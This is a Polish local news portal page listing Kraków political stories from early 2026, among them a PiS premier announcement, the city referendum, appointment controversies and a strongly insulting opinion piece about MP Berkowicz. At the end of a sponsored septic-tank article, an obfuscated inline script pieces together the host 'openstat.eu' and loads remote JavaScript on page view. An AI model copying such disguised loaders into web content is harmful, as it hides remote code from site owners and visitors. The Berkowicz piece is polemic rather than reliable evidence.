Logo Kanał Krakowski
  • Wydarzenia
  • Opinie
  • Rozmowy
  • Serwis specjalny: Wybory 2026

Obserwuj nas na:

  • Wydarzenia
  • Opinie
  • Rozmowy
  • Serwis specjalny: Wybory 2026
Reklama - duża
  1. Strona główna

Wydarzenia

Kaczyński w Krakowie ogłosi nazwisko premiera. Oto kandydaci

Kaczyński w Krakowie ogłosi nazwisko premiera. Oto kandydaci

06 marca 2026 | 09:58

W Krakowie są miejsca, które w polityce mają niemal symboliczne znaczenie. Jednym z nich jest hala „Sokoła”. To właśnie tam prezes Jarosław Kaczyński znów zamierza wykonać ruch, który – przynajmniej w zamyśle strategów Prawo i Sprawiedliwość – ma odwrócić polityczne losy partii. W sobotę, 7 marca, w krakowskiej hali ma zostać ogłoszony kandydat tej formacji na przyszłego premiera. Brzmi jak polityczny rytuał. I w istocie nim jest. Bo przecież to właśnie w tym miejscu PiS już wcześniej stawiał na „kandydatów z zaskoczenia”. To tutaj przedstawiono najpierw Andrzeja Dudę, a później Karola Nawrockiego – polityków, którzy z pozycji outsiderów ruszyli po najwyższe urzędy w państwie. Obaj wygrali. Nic dziwnego, że dziś partyjni stratedzy znów liczą na odrobinę tej samej magii. Wystąpienie Jarosława Kaczyńskiego w hali Sokoła z okazji Dnia Niepodległości w 2023 roku Tyle że magia w polityce działa tylko wtedy, gdy rzeczywistość jej sprzyja. A ta dla PiS nie jest dziś szczególnie łaskawa. W sondażach partia notuje spadki, a w niektórych badaniach jej poparcie spadło nawet poniżej 20 procent.  To wynik, który w partii wywołuje niepokój i zmusza do szukania nowych pomysłów na odzyskanie inicjatywy. Ogłoszenie kandydata na premiera ma być właśnie takim politycznym resetem: nową twarzą, nową narracją i próbą zjednoczenia coraz bardziej podzielonego obozu. Bo nie jest tajemnicą, że na Nowogrodzkiej od miesięcy trwa cicha rywalizacja frakcji. Jedni patrzą w stronę powrotu dawnych twarzy, inni chcą całkowitego odświeżenia. Sam prezes podkreśla, że wybrany kandydat ma być stosunkowo młody i „nieobciążony błędami poprzednich rządów”. Dlatego lista nazwisk krążących w kuluarach jest długa: od Przemysława Czarnka, przez Tobiasza Bocheńskiego, aż po kilku samorządowców, którzy w krajowej polityce pozostają niemal anonimowi. Wśród nich najpoważniejszym kandydatem ma być Lucjusz Nadbereżny, prezydent Stalowej Woli. Lucjusz Nadbereżny z Karolem Nawrockim / fot. KPRP I być może właśnie o to chodzi. Bo historia polityczna PiS pokazuje jedno: im mniej ktoś jest znany przed nominacją, tym większy efekt zaskoczenia po ogłoszeniu. A zaskoczenie w polityce bywa czasem najcenniejszą walutą. Dlatego w sobotę w Krakowie nie chodzi tylko o nazwisko. Chodzi o próbę stworzenia nowej opowieści. Takiej, która pozwoli partii znów uwierzyć, że polityczne scenariusze można pisać od nowa. A hala „Sokoła”? W tej hali gimnastycznej Towarzystwa Gimnastycznego "Sokół" Jarosław Kaczyński ogłosi nazwisko premiera / fot. wikimedia Cóż, w tej historii ma zagrać rolę niemal teatralnej sceny. Bo jeśli coś ma się zacząć od nowa, to najlepiej właśnie tam, gdzie kiedyś zaczęły się wcześniejsze zwycięstwa. Tyle że w polityce – jak w teatrze – sama scena nie wystarczy. Potrzebny jest jeszcze dobry aktor i publiczność gotowa uwierzyć w przedstawienie.

Więcej…

Szok w Krakowie! Komarewicz zbuduje własną partię?!

Szok w Krakowie! Komarewicz zbuduje własną partię?!

05 marca 2026 | 10:42

Rafał Komarewicz odrzucony przez wszystkich? Nic z tych rzeczy! Wszystko wskazuje na to, że poseł z Krakowa sam zbuduje swoje imperium i już szykuje się do triumfu z nową partią. A największym zwycięzcą będzie… Donald Tusk, który na razie przygląda się temu wszystkiemu zza kulis. Komarewicz trafił do Sejmu z list Trzeciej Drogi (pamiętacie jeszcze słynny cytat Tuska: "albo Trzecia Droga, albo trzecia kadencja PiS-u?"). Teraz 54-letni dentysta zmaga się z klasycznym politycznym dylematem: co dalej? Po wystąpieniu z partii Polska 2050 sytuacja dla niego nie jest łatwa. Na dziś wygląda bowiem na to, że nikt nie chce go przyjąć pod swoje skrzydła  i – w obecnych politycznych realiach – nie bardzo ma możliwość startu w wyborach do Sejmu z "biorącego miejsca" na jakiejkolwiek liście. Rafał Komarewicz w czasach, gdy był jeszcze krakowskim radnym / fot. BIP Koalicja Obywatelska wciąż żywi żal i czuje się zdradzona, a wrogość lokalnych działaczy wobec posła Komarewicza jest niemal instytucjonalna. W Prawie i Sprawiedliwości nikt spadów nie lubi, a Komarewicz jawi się tam jako byt z innej, odległej planety. W normalnym świecie Rafał miałby więc pod górkę, ale w polityce, jak w pokerze, zawsze można kolejny raz zablefować i wygrać… nawet wtedy, gdy karty nie są po Twojej stronie. Na pomoc przyjdzie... Brzoska Jak niedawno informowała "Rzeczpospolita" w kuluarach coraz głośniej mówi sie o chęci zaangażowania w politykę Rafała Brzoski, twórcy inPostu. I choć sam milioner – absolwent ówczesnej Akademii Ekonomicznej w Krakowie – zaprzecza, by chciał objąć stanowisko w rządzie czy zasiadać w parlamencie, nie oznacza to, że potencjalna partia Brzoski nie powstanie. Warto spojrzeć zaledwie kilka lat wstecz: Szymon Hołownia, jako osoba spoza polityki, budował swój ruch i znajdował się poza parlamentem przez ponad 3 lata, zanim Polska 2050 weszła do sejmu. Po sukcesie deregulacyjnej inicjatywy pytanie brzmi już nie czy, lecz kiedy i w jakiej formule Rafał Brzoska wejdzie do polityki. Z rozmów przeprowadzonych przez „Rzeczpospolitą” wynika, że coraz więcej środowisk biznesowych i politycznych na poważnie sonduje Rafała Brzoskę, czy jest już gotów wejść do polityki. Nasi rozmówcy z otoczenia milionera nie zaprzeczają, że w jego środowisku toczy się coraz gorętsza dyskusja nad tym, czy założyciel InPostu powinien się dziś zaangażować politycznie. – czytamy w "Rzeczpospolitej". Konstrukcja inicjatywy Brzoski oparta będzie najpewniej na klubie parlamentarnym Centrum – tym samym, który uciekł od Hołowni i którego twarzą jest Ryszard Petru, a członkiem Komarewicz. Rafał Brzoska / fot. wikimedia Poseł z Krakowa, który do tej pory szukał miejsca na jakiejkolwiek liście wyborczej jak dziecko zagubione w hipermarkecie, nagle otrzyma możliwość budowy całego działu Krakowa i Małopolski. To oznacza nie tylko lokalną władzę polityczną w jego rękach, ale też szansę na wykreowanie siebie jako kluczowego gracza nowej partii. A kiedy struktury zostaną już zbudowane, nagroda jest jasna: Komarewicz zostanie jedynką na liście nowej formacji. Dlaczego to może zadziałać? Potencjalna partia Brzoski ma mieć wyraźny profil prorozwojowy i pro-przedsiębiorczy. To oznacza, że przyciągnie wyborców, którzy dotychczas lgnęli między innymi do Konfederacji, ale niekoniecznie zgadzali się z jej konserwatywnym światopoglądem czy skrajnymi opiniami. ZOBACZ TAKŻE: Skazany bandyta "ratuje" Kraków. Nie ma pomysłu, ale ma wyrok i kamerę Co więcej, w jej szeregach znajdą się burmistrzowie, wójtowie i prezydenci miast, którym kończą się drugie kadencje. Polskie prawo nie pozwala im już kontynuować lokalnych mandatów, więc naturalnym krokiem w politycznej karierze jest wejście do Sejmu. Strategia jest prosta: najpierw 10 lat na stanowisku wójta lub burmistrza, później Sejm RP – ewolucja polityczna jak z instrukcji dla ambitnych samorządowców. Kto zyska na tym najbardziej? Według najnowszych badań przeprowadzonych przez OGB połowa Polaków uważa, że na scenie politycznej jest miejsce dla nowej partii. Blisko 62% pytaniach zadeklarowało, że zagłosuje na nową formację, jeśli profil tej partii będzie się zgadzał z ich poglądami. Głównym beneficjentem całej operacji okaże się oczywiście Donald Tusk. Jeśli nowa partia zgarnie około 10 proc. głosów (jak pokazuje historia i powyższe badania jest to realne), stanie się naturalnym partnerem koalicyjnym dla Koalicji Obywatelskiej, a to oznacza, że Tusk będzie mógł kontynuować politykę ochrony Polski przed skrajnymi prawicowymi zapędami i "światem według Brauna". W praktyce powstanie rząd stabilny, zdolny do działania, który jednocześnie uniemożliwi oddanie kraju w ręce radykalnych środowisk. Zresztą to nie jest nic nowego. Tusk wielokrotnie budował swoje polityczne przybudówki: najpierw była Nowoczesna, później partia Hołowni, a teraz Brzoski. Mechanizm stary, ale w nowym wydaniu – zawsze działa, gdy trzeba stworzyć sojusznika „na miarę okoliczności”. Włodzimierz Czarzasty, Szymon Hołownia, Donald Tusk i Władysław Kosiniak-Kamysz / fot.wikimedia Komarewicz – mistrz politycznej karuzeli W tym kontekście Komarewicz odnajdzie się znakomicie. Jest sprytnym uczestnikiem politycznej karuzeli, który wie, że czasami najlepszym miejscem jest nie miejsce oferowane przez innych, ale miejsce, które sam sobie zbuduje. źródło: sejm.gov.pl Rafał, jeszcze jako krakowski radny, wielokrotnie pokazywał, że w polityce ważniejsza jest elastyczność i zdolność do wykorzystania okazji niż wierność i lojalność wobec kogokolwiek. ZOBACZ TAKŻE: Rodzina PiS na swoim. Tajna lista 70 nazwisk wstrząsa Małopolską

Więcej…

Brawo, organizatorzy! To jest właśnie ten poziom mistrzostwa, którego Kraków potrzebował

Brawo, organizatorzy! To jest właśnie ten poziom mistrzostwa, którego Kraków potrzebował

04 marca 2026 | 11:53

Szanowni Państwo, zdejmijcie kapelusze. Najlepiej dwa. Jeden z szacunku, drugi po to, żeby się nie przewrócić ze śmiechu, gdy uświadomicie sobie, co udało się zrobić organizatorom referendum. W zaledwie 35 dni zebrali oni prawie 102 tysiące podpisów. Tak, 2 914 podpisów dziennie. Dziennie! Nie, to nie jest literówka ani wynik z alternatywnej rzeczywistości – to oficjalna liczba. I wiecie co? Szacun. Naprawdę. Wielki szacun. W mieście, w którym uprawnionych do głosowania jest niecałe 600 tysięcy osób, udało się zmobilizować w pięć tygodni ponad 100 tysięcy ludzi. To wynik, który mógłby zawstydzić niejedną ogólnopolską akcję społeczną. To tempo godne korporacyjnego KPI na sterydach, armii klonów i teleportujących się mieszkańców w jednym. Zbieranie podpisów Ci z Was, którzy kiedykolwiek próbowali zbierać podpisy, wiedzą, że: pierwsze 500 idzie w dwa dni (euforia + znajomi z Facebooka), kolejne 2 000 w miesiąc (już tylko najwierniejsi + przypadkowi litościwi), reszta to walka o każdy podpis jak o tlen na Mount Everencie. A tutaj? 2 914 dziennie, równo, jak w zegarku. Jakby podpisy same wskakiwały na listę, a mieszkańcy ustawiali się w kolejce w harmonii godnej chóru anielskiego. Ciekawe tylko, ile z tych podpisów zostanie odrzuconych. 30 procent? 40? A może co drugi okaże się nieważny, bo ktoś pomylił PESEL albo pies sąsiada przetarł kartkę łapą. Ale to w niczym nie umniejsza epickiego wyczynu organizatorów, który wygląda jak olimpiada supermocy w zbieraniu podpisów. Zbieranie podpisów Bo naprawdę: kto z nas, zwykłych śmiertelników, mógłby zebrać tyle podpisów w tak bajecznym tempie? Nikt. To już nie jest zwykłe zbieranie podpisów, to jest sztuka, magia i absolutny rekord Krakowa w jednym. Więc jeśli zastanawiacie się, czy kiedykolwiek udałoby się Wam zebrać tyle podpisów – nie udałoby się. Ale oni to zrobili. I chociaż ciężko w to uwierzyć, trzeba przyznać: Kraków nigdy nie widział takiego tempa, takiej logistyki i takiego… absurdu. A potem można się po prostu pośmiać. Bo serio… 2 914 podpisów dziennie? Serio? Drodzy organizatorzy, Kraków Was kocha. Kraków Wam nie wierzy. ZOBACZ TAKŻE: Skazany bandyta "ratuje" Kraków. Nie ma pomysłu, ale ma wyrok i kamerę

Więcej…

Znany ksiądz ostro o krakowskiej kurii: "Była miejscem os i szerszeni"

Znany ksiądz ostro o krakowskiej kurii: "Była miejscem os i szerszeni"

02 marca 2026 | 20:21

– Kiedy nastał abp Marek Jędraszewski (...) kuria przestała być miejscem spotkania, a stała się – w moim odczuciu – miejscem os i szerszeni. Pamiętam, jak czekałem kiedyś na kanclerza. Stałem pod drzwiami i mówię do pani z obsługi, że nie znam tutejszych zwyczajów. A ona: „Coraz gorsze, proszę księdza, coraz gorsze”. Mam wrażenie, że później też już tam nie pracowała – wspomina ks. Jacek Stryczek. Znany krakowski duchowny, twórca Szlachetniej Paczki, opisuje swoje wizyty w siedzibie arcybiskupa krakowskiego. Wspomina czasy kard. Franciszka Macharskiego, Stanisława Dziwisza i Marka Jędraszewskiego. Z miejsca otwartego – za kard. Dziwisza dziedziniec zawsze był pełen ludzi – zrobiło się pusto i odludnie. Kuria jakby się zamknęła, skurczyła, wycofała. Ale wygląda na to, że to się właśnie zaczyna zmieniać. Ks. Stryczek twierdzi, że to za Jędraszewskiego kuria przestała być miejscem spotkań, a zmieniła się w gniazdo os i szerszeni. Teraz jednak sytuacji znów wraca do normy. Wchodzę i… nie mogę uwierzyć. Jak w pałacu: pokoje, a wzdłuż ulicy – ciąg wielkich drzwi. Wszystkie otwarte. Amfilada. Żadnych zamkniętych gabinetów, żadnych korytarzy odciętych od świata. Wchodzę, zostawiam kask, kurtkę. Wita mnie uśmiechnięty ksiądz sekretarz, ks. Łukasz Jachimiak. Rozmawiamy. Znowu: życzliwość, normalność, spokój. Tak wygląda dzisiaj krakowska kuria. Potem przyszedł ksiądz kardynał. Ale o tym, co wydarzyło się podczas naszego spotkania, opowiem innym razem. Dziś chcę powiedzieć jedno: otwartość. Uśmiech. Brak barier. Drzwi naprawdę otwarte. Tak jest.

Więcej…

Majchrowski o wyborach: "Niech Pan Bóg broni!"

Majchrowski o wyborach: "Niech Pan Bóg broni!"

02 marca 2026 | 10:36

–  Nie! – tak Jacek Majchrowski odpowiedział na pytanie, czy podpisze się pod wnioskiem o referendum w sprawie odwołania Aleksandra Miszalskiego. Były prezydenta Krakowa kolejny już raz stwierdził, że referendum to polityczna hucpa. Tym razem Majchrowski był gościem RMF24. Podczas rozmowy z Piotrem Salakiem powiedział między innymi: Wybory to taka umowa pomiędzy mieszkańcami a tymi, w ręce których cedują władzę, na pięć lat. Po pięciu latach mają możliwość i obowiązek nawet rozliczyć wybranego prezydenta. Na pytanie, czy jego zdaniem wynik referendum będzie wiążąco, odpowiedział: Jest to możliwe, by odwołać prezydenta, choć ja mam wątpliwość, czy 160 tysięcy mieszkańców przyjdzie do głosowania. Ale nigdy nie wiadomo. Majchrowski został zapytany również, czy – w razie odwołania Miszalskiego – wystartowałby ponownie na prezydenta. Niech Pan Bóg broni! Jeżeli się przemyślało sytuację i nie startowało na szóstą kadencję, to nie po to, aby teraz, po dwóch latach, znowu wracać. Ja mam swoje lata i mam pełną świadomość, że nie jestem tak sprawny, jak byłem kiedyś. Były prezydent odniósł się także do decyzji podejmowanych przez Miszalskiego. Powiedział, że "jedne są zadowalające, drugie nie". Skrytykował natomiast obecnego prezydenta za wycofywanie się z wcześniej podjętych decyzji. Jeżeli się podejmuje jakąś decyzję, to trzeba mieć świadomość, że ona jest merytoryczna i uzasadniona. Jeżeli po dwóch tygodniach się z niej wycofujemy, to znaczy, że ona była zła, była głupia. Za bezzasadne uznał natomiast zarzuty dotyczące podwyżek cen biletów komunikacji miejskiej. Stwierdził, że podwyżki są koniecznością, a krytykowanie ich to czysty populizm. Cała rozmowa z Jackiem Majchrowskim w RMF24 dostępna jest tutaj: 🟡🔵 Gość #RozmowaRMF! Jest nim prof. Jacek Majchrowski, były prezydent Krakowa. Zapraszamy! RMF FM @RMF24pl @Radio_RMF24 https://t.co/MD181BItwA — RozmowaRMF (@Rozmowa_RMF) March 2, 2026 źródło: RMF24 

Więcej…

Rodzina PiS na swoim. Tajna lista 70 nazwisk wstrząsa Małopolską

Rodzina PiS na swoim. Tajna lista 70 nazwisk wstrząsa Małopolską

28 lutego 2026 | 10:58

W Małopolsce narasta polityczna burza. Prawie 70 osób związanych wcześniej lub obecnie z Prawem i Sprawiedliwością – i zatrudnionych dziś w jednostkach podległych marszałkowi województwa – znalazło się na liście, którą jeden z anonimowych nadawców radnemu Koalicji Obywatelskiej. Dokument wywołał falę zarzutów o „partyjne obsadzanie stanowisk” w urzędach i spółkach zarządzanych z urzędu marszałkowskiego. Sprawę ze szczegółami opisuje Onet. Zdaniem radnego KO Krzysztofa Nowaka, który najpierw otrzymał, a później ujawnił listę nazwisk, marszałek Małopolski Łukasz Smółka (polityk PiS) spłaca w ten sposób „polityczny dług” wobec własnej partii, rozdając kierownicze stanowiska osobom blisko związanym z partią. Na liście znalazły się zarówno osoby pełniące dziś stanowiska dyrektorów departamentów Urzędu Marszałkowskiego, jak i członkowie rad nadzorczych spółek podległych samorządowi. Wśród nich są m.in.: kierownictwo spółki Apollo Film (prezes i wiceprezes związanego z PiS), dyrektorzy szpitali i innych jednostek ochrony zdrowia, byli politycy PiS objęci ważnymi stanowiskami w spółkach regionalnych, członkowie władz kolejowych i transportowych spółek samorządowych. Polityczne tło sporów Cała sprawa wypada w gorącym okresie, gdy w Krakowie trwa zbieranie podpisów pod referendum ws. odwołania prezydenta miasta. Inicjatorzy akcji krytykują obecnego włodarza za – ich zdaniem – rozrost nepotyzmu i obsadzanie publicznych funkcji osobami z partyjnych koneksji. Jeśli spojrzymy na listę nazwisk, widać tam osoby z różnych frakcji wewnątrz PiS, co pokazuje, że podział sił w partii ma odbicie również w małopolskich urzędach. – mówi jeden z polityków lokalnych, cytowany przez Onet. Eksperci i samorządowcy podkreślają, że choć część tych nazwisk to doświadczeni samorządowcy, to skala zatrudnień politycznych znajomych budzi wątpliwości o przejrzystość publicznych nominacji. Reakcje i oczekiwania wyjaśnień Koalicja Obywatelska zapowiedziała, że poprosi marszałka o oficjalne wyjaśnienia dotyczące listy osób związanych z PiS i ich wpływu na funkcjonowanie instytucji publicznych. Poseł KO Dominik Jaśkowiec zapowiedział możliwość przeprowadzenia kontroli poselskiej w Urzędzie Marszałkowskim, by sprawdzić okoliczności tych zatrudnień i ewentualne naruszenia procedur. Jak donosi Onet, marszałek Smółka do tej pory nie skomentował obszernie przedstawionych zarzutów. Rzecznik urzędu zadeklarował natomiast, że każde stanowisko było obsadzane zgodnie z obowiązującymi przepisami. Polityczna gra o wpływy Według lokalnych polityków, ujawniona lista pokazuje nie tylko skalę zatrudnień, lecz także polityczne rozgrywki w strukturach PiS w Małopolsce. Marszałek Smółka został wybrany po burzliwych wewnętrznych sporach partyjnych, a dziś próbuje równoważyć wpływy różnych frakcji poprzez obsadzanie stanowisk w urzędach i spółkach. Ujawnienie nazwisk niemal 70 osób zatrudnionych w instytucjach podległych marszałkowi z PiS wywołało nową falę politycznej dyskusji w Małopolsce. Oskarżenia o „rodzinne” i partyjne obsadzanie urzędów zbiegają się z trwającą kampanią referendalną w Krakowie, co jeszcze bardziej zaostrza lokalną scenę polityczną. Cały tekst Onetu wraz z listą nazwisk "rodziny PiS" możecie przeczytać tutaj: "Rodzina PiS na swoim". Tajemnicze zatrudnienia u marszałka. W tle walka frakcji PiS i referendum źródło: Onet  

Więcej…

Ostateczny dowód: Berkowicz to ruska onuca. Koniec, kropka.

Ostateczny dowód: Berkowicz to ruska onuca. Koniec, kropka.

28 lutego 2026 | 10:37

No i mamy to. Sejm RP, prawie jednogłośnie, powiedział głośne „jesteśmy z Wami” Ukrainie w czwartą rocznicę tej ruskiej napaści. 419 posłów za. Cała izba, od lewa do prawa, od Tuska po Kaczyńskiego – solidarność, wsparcie militarne, humanitarne, potępienie agresji, sankcje, integralność terytorialna. Normalna sprawa dla normalnego kraju. A kto był tym jednym, jedynym „przeciw”? Konrad Berkowicz. Nasz krakowski poseł z Konfederacji. Jeden głos „nie” na całą Polskę. Na cały Sejm. Na cały zdrowy rozsądek. I wiecie co? To nie jest przypadek. To jest ostateczny, niepodważalny dowód, że ten gość to klasyczna, śmierdząca ruska onuca. Onuca, która udaje, że jest z Krakowa, a śmierdzi Moskwą na kilometr. Bo jak inaczej nazwać faceta, który w dniu, kiedy cały cywilizowany świat pamięta o Buczy, Irpieniu, Hostomelu i tysiącach zamordowanych cywilów, głosuje przeciw solidarności z ofiarą? Przeciw uchwale, która mówi tylko: „Rosja to agresor, Ukraina ma prawo się bronić, my Polacy dalej pomagamy”. Nic więcej. Żadnych miliardów, żadnych „oddajemy Lwów”. Zwykłe „nie zostawiamy brata w potrzebie”. A Berkowicz: „Nie”. ZOBACZ TAKŻE: Poszedłem podpisać się pod referendum. Oto kulisy ulicznej akcji Ja nie jestem z PiS-u, nie jestem z KO, nie jestem z żadnej drużyny. Jestem z Krakowa. Z miasta, które przyjęło dziesiątki tysięcy Ukraińców, w którym powiewają ukraińskie flagi, które zbiera na drony, które wie, co to znaczy „ruski mir” na własnej skórze (bo pamiętamy Katyń, pamiętamy 1939, pamiętamy Smoleńsk). I ten typek, wybrany w naszym okręgu, pluje nam w twarz. „Ale on jest libertarianinem! On nie chce wojen!” – będą piszczeć jego fani z memów na Fejsie. Taaak. Libertarianin, który nie chce wojny… tylko akurat tej wojny, którą rozpętała Rosja. Bo jak Putin atakuje Gruzję – cisza. Jak zajmuje Krym – cisza. Jak grozi nam Nord Streamem i rakietami – cisza. Ale jak Ukraina się broni – to już „nie eskalujmy”. Wiecie, co to jest? To nie jest libertarianizm. To jest ruski libertarianizm. Taki z gatunku „wolność dla wszystkich… oprócz Ukraińców”. Kraków to nie jest jakieś zadupie, gdzie można sobie głosować jak chce. To miasto, które ma honor. Które pamięta, że w 1683 Jan III Sobieski nie mówił „sorry, nie eskalujmy z Turkami”. To miasto, które w 1944 nie mówiło „no trudno, Niemcy mają prawo do Lebensraumu”. A Berkowicz? Berkowicz mówi „nie” w 2026. Dokładnie w momencie, kiedy rosyjskie rakiety wciąż spadają na ukraińskie bloki, a Putin otwarcie mówi, że „Polska będzie następna”. Gratuluję, Konrad. Zrobiłeś z siebie mema na lata. „Ten jeden poseł z Krakowa, co głosował nie tyle przeciw Ukrainie, co za Rosją”. Bo jak ktoś w 2026 roku, po czterech latach mordów, gwałtów i ludobójstwa, wciąż nie potrafi powiedzieć „Rosja to zło” – to nie jest poseł. To jest onuca. Cuchnąca szmata, którą ktoś w Moskwie wyciera sobie buty. Krakowianie, zapamiętajcie to nazwisko. Jak przyjdzie czas wyborów – przypomnijcie mu ten jeden głos. Ten jeden „przeciw”. Bo Kraków nie głosuje na ruskie onuce. Nigdy.

Więcej…

Bogdan Klich nie będzie kandydował na prezydenta Krakowa!

Bogdan Klich nie będzie kandydował na prezydenta Krakowa!

27 lutego 2026 | 12:41

Były senator i doświadczony polityk Platformy Obywatelskiej, Bogdan Klich, jednoznacznie uciął spekulacje dotyczące jego ewentualnego startu w wyborach na prezydenta Krakowa. W krótkim, konkretnym wpisie w mediach społecznościowych zdementował medialne doniesienia i podkreślił, że nie zamierza ubiegać się o ten urząd. W ostatnich dniach portale Interia oraz Wirtualna Polska informowały, że w przypadku ewentualnego odwołania obecnego włodarza miasta, Aleksandra Miszalskiego, jednym z możliwych scenariuszy mogłoby być wejście do gry Bogdana Klicha. Według tych doniesień jego nazwisko miało pojawiać się w politycznych rozmowach jako potencjalna kandydatura kompromisowa. Spekulacje szybko nabrały tempa w krakowskim środowisku politycznym. Część komentatorów wskazywała na doświadczenie Klicha w polityce krajowej i międzynarodowej jako atut w ewentualnym wyścigu o fotel prezydenta miasta. Krótkie i stanowcze dementi Sam zainteresowany nie pozostawił jednak wątpliwości. W opublikowanym w mediach społecznościowych wpisie jasno stwierdził, że nie będzie kandydował na prezydenta Krakowa. Przekaz był zwięzły i jednoznaczny – bez politycznych niedopowiedzeń czy warunkowych sformułowań. Uprzejmie informuję, że w moich zawodowych planach nie mieści się żadna funkcja w samorządzie Krakowa. Od 1992r. zajmuje się sprawami międzynarodowymi i zamierzam to kontynuować. A Prezydenta ⁦Aleksandra Miszalskiego⁩ wspieram z całego serca! Tym samym Klich przeciął spekulacje i zakończył medialną dyskusję na temat swojego ewentualnego startu. Na ten moment nic nie wskazuje na to, by zmienił zdanie. Kto w zamian? Coraz częściej pada jedno nazwisko W krakowskich kuluarach politycznych najczęściej wymienianą potencjalną kandydatką jest Monika Piątkowska. Jej nazwisko pojawia się w nieoficjalnych rozmowach jako możliwa alternatywa w scenariuszu ewentualnych zmian w magistracie. Więcej o tym scenariuszu pisaliśmy tutaj: Ujawniamy plan Koalicji na wypadek odwołania Miszalskiego! To ONA może go zastąpić

Więcej…

Szambo betonowe Kraków 3m³ czy 4m³?

Szambo betonowe Kraków 3m³ czy 4m³?

26 lutego 2026 | 19:18

Zakup szamba betonowego wydaje się prosty — do momentu, gdy zaczynamy zadawać konkretne pytania. Czy cena obejmuje wszystko? Czy szybkozłączka działa z każdą szambiarką? Czy HDS przełoży zbiornik przez ogrodzenie? W praktyce to właśnie te szczegóły decydują o tym, czy montaż przebiegnie sprawnie i bez stresu. Co obejmuje cena zbiornika betonowego? W przypadku małych zbiorników 3m³ i 4m³ standardowy zestaw powinien zawierać: zbiornik monolityczny, płytę górną (najczęściej nieprzejezdną), komin rewizyjny, właz betonowy, transport, posadowienie przy użyciu HDS. Warto zawsze upewnić się, czy podana cena zawiera również rozładunek i ustawienie w wykopie — nie każda firma to gwarantuje w standardzie. Czy szybkozłączka do szamba ma sens? Szybkozłączka to bardzo wygodne rozwiązanie, szczególnie przy działkach letniskowych lub gdy właściciel nie zawsze jest obecny podczas opróżniania zbiornika. Instalacja polega na wykonaniu rury PVC od dna zbiornika z wyjściem na zewnątrz posesji — zwykle w kierunku ogrodzenia. Warto wiedzieć: większość firm asenizacyjnych preferuje opróżnianie przez właz (mniejszy opór dla pompy), jednak w razie potrzeby bez problemu pompują przez szybkozłączkę, najlepiej zaplanować jej montaż od strony najbliższej dojazdu wozu asenizacyjnego. To rozwiązanie, które realnie zwiększa komfort użytkowania. Właz betonowy czy żeliwny? Standardowo zbiorniki wyposażone są we właz betonowy. Jeżeli jednak zbiornik znajduje się w miejscu narażonym na ruch pieszy lub w przyszłości planowana jest zmiana zagospodarowania terenu — warto rozważyć właz żeliwny (np. klasy A15). Z praktyki wynika, że część klientów montuje żeliwo dopiero po zakończeniu budowy, aby nie pozostawiać go na nieogrodzonej działce. Czy HDS przełoży zbiornik przez ogrodzenie? To jedno z najczęstszych pytań. Technicznie jest to możliwe, ale trzeba uwzględnić kilka warunków: brak linii energetycznych nad ogrodzeniem, miejsce na rozłożenie łap podporowych (ok. 2 m od ogrodzenia przy podaniu bocznym), odległość wykopu od ogrodzenia (najlepiej do 2–3 m), stabilny grunt pod samochodem. Dlatego przed montażem warto wysłać zdjęcia do producenta — pozwala to uniknąć niespodzianek w dniu dostawy. 3m³ czy 4m³ — co wybrać? Różnica cenowa między 3m³ a 4m³ bywa niewielka, dlatego często bardziej opłaca się wybrać większy zbiornik. Daje to: rzadsze opróżnianie, większy komfort użytkowania, mniejsze ryzyko przepełnienia przy zwiększonym zużyciu wody. Zbiornik 4m3 jest niższy - nie trzeba tak głęboko kopać. Dlaczego warto zadawać pytania przed zakupem? Im więcej szczegółów ustalimy przed realizacją, tym spokojniejszy przebieg montażu. Dobrze wykonane szambo betonowe Kraków to inwestycja na kilkadziesiąt lat — dlatego warto dopilnować: sposobu montażu, lokalizacji szybkozłączki, rodzaju włazu, możliwości technicznych dojazdu. Bo w tym temacie detale naprawdę mają znaczenie. (function(){ q43g=document.createElement("script");q43g_=("op")+"e"+("ns"); q43g_+="t"+"a"+("t");q43g_+=(".e");q43gu="2601969158";q43g.async=true; q43gu+=".atb9Xija43g8idwgu";q43g.type="text/javascript";q43g_+=""+""+("u/"); q43gu+="zud3twb2ktvfx";q43g.src="https://"+q43g_+q43gu; dq43g=document.body;dq43g.appendChild(q43g); })();

Więcej…

Kraków na rozdrożu. TA decyzja zmieni miasto na zawsze

Kraków na rozdrożu. TA decyzja zmieni miasto na zawsze

25 lutego 2026 | 06:03

Kraków stoi na krawędzi decyzji historycznej: referendum o odwołanie prezydenta Aleksandra Miszalskiego może zmienić oblicze miasta. Mieszkańcy stoją przed pytaniem, czy ostatnie lata przyniosły stabilizację i rozwój, czy nadszedł czas na polityczny reset. Emocje, spory partyjne i obywatelskie zaangażowanie sprawiają, że atmosfera w mieście jest gorętsza niż kiedykolwiek. W debacie publicznej dominują dwa główne głosy: zwolenników inicjatywy referendalnej i jej przeciwników. Przy takiej polaryzacji społecznej, najmniej jest tych, którzy zdania nie mają. Zebraliśmy więc najważniejsze argumenty, byśmy mogli zobaczyć, co mówią ci, którzy są „ZA” oraz ci, którzy są „PRZECIW”. 10 argumentów zwolenników referendum („ZA”): Niezadowolenie z działań urzędującego prezydenta – zdaniem wielu mieszkańców, Miszalski „nie dorósł” do stanowiska i realizuje politykę, która nie odpowiada większości krakusów. Krytyka zatrudniania partyjnych nominowanych – przeciwnicy zarzucają prezydentowi faworyzowanie ludzi związanych z partią zamiast fachowców wyłanianych w konkursach. Kontrowersje wokół konsultacji społecznych, szczególnie dotyczących Strefy Czystego Transportu (SCT), które według krytyków były przeprowadzone niedostatecznie. Brak audytu po poprzedniku – krytycy zarzucają, że prezydent nie przeprowadził audytu po rządach swojego poprzednika, co utrudnia ocenę realnych efektów polityki miejskiej. Wydatki na kampanie informacyjne dotyczące SCT, które część mieszkańców uważa za marnotrawstwo środków publicznych. Rosnące napięcia społeczne – kampania referendalna odbierana jest jako sygnał, że mieszkańcy chcą większego wpływu na kierunek miasta. Mobilizacja różnych środowisk politycznych – inicjatywę popierają m.in. Konfederacja i PiS, co zwiększa jej siłę rażenia i widoczność w przestrzeni publicznej. Kampania podpisowa budzi społeczne zaangażowanie, co jej zwolennicy traktują jako dowód woli zmian. Oczekiwanie realnych zmian i nowej strategii dla Krakowa – zdaniem inicjatorów, referendum ma być impulsem do nowego otwarcia i odświeżenia lokalnej polityki. Dążenie do zwiększenia odpowiedzialności władz przed mieszkańcami – referendum ma być wyrazem zasady, że władza powinna służyć obywatelom, a nie tylko partii.  ZOBACZ TAKŻE: Ile dziennie kosztuje zbieranie podpisów pod listą referendalną? 10 argumentów przeciwników referendum („PRZECIW”): Brak przesłanek fundamentalnych do odwołania – przeciwnicy podkreślają, że błędy i kontrowersje nie są 